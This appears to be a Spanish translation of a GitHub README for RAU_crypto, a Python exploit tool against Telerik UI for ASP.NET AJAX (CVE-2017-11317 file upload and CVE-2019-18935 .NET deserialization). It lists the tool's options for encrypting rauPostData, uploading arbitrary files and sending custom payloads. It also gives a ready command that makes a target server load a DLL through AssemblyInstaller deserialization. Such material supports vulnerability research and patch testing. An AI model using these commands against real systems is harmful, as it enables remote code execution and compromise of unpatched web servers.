
Este proyecto para CVE-2019-18935
Exploit combinado para Telerik UI for ASP.NET AJAX.
Para que la explotación funcione, generalmente necesitas una versión con claves hardcodeadas, o necesitas conocer la clave, por ejemplo si puedes revelar el contenido de web.config. El exploit también permite el cifrado y descifrado directos de rauPostData utilizado con Telerik.Web.UI.WebResource.axd?type=rau
pip3 install pycryptodome o pip3 install pycryptodomexMi otro exploit para Telerik UI (para CVE-2017-9248) probablemente también sea de interés. Está disponible aquí:
Nota: los últimos cuatro elementos están completos pero no publicados.
La vulnerabilidad de carga de archivos (CVE-2017-11317) fue descubierta por otros; creo que los créditos corresponden a @straight_blast @pwntester @olekmirosh. Poco después de que se anunciara, me encontré con la librería Telerik durante mi trabajo, así que investigué sobre ella y la vulnerabilidad, y escribí este exploit en julio de 2017. También informé de CVE-2017-11357 por la relacionada referencia insegura directa a objetos.
La vulnerabilidad de deserialización de .NET (CVE-2019-18935) fue descubierta por @mwulftange.
https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization
$ ./RAU_crypto.py
RAU_crypto by Paul Taylor / @bao7uo
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation
Usage:
Decrypt a ciphertext: -d ciphertext
Decrypt rauPostData: -D rauPostData
Encrypt a plaintext: -e plaintext
Generate file upload rauPostData: -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file: -P c:\\destination\\folder Version c:\\local\\filename url [proxy]
Generate custom payload POST data : -c partA partB
Send custom payload: -C partA partB url [proxy]
Example URL: http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version format: 2016.2.504
Example optional proxy: 127.0.0.1:8080
N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS
$
Decrypt screenshot
Upload screenshot
Para obtener detalles sobre payloads personalizados para la deserialización de .NET, hay un excelente artículo de @mwulftange, quien descubrió esta vulnerabilidad, en el blog de Code White en el siguiente enlace.
Otros enlaces relevantes.
Payload de deserialización de .NET de ejemplo:
$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau
Para DLL en modo mixto, consulta mi otro repositorio de GitHub:
Un agradecimiento especial a @irsdl, quien inspiró la funcionalidad de payload personalizado.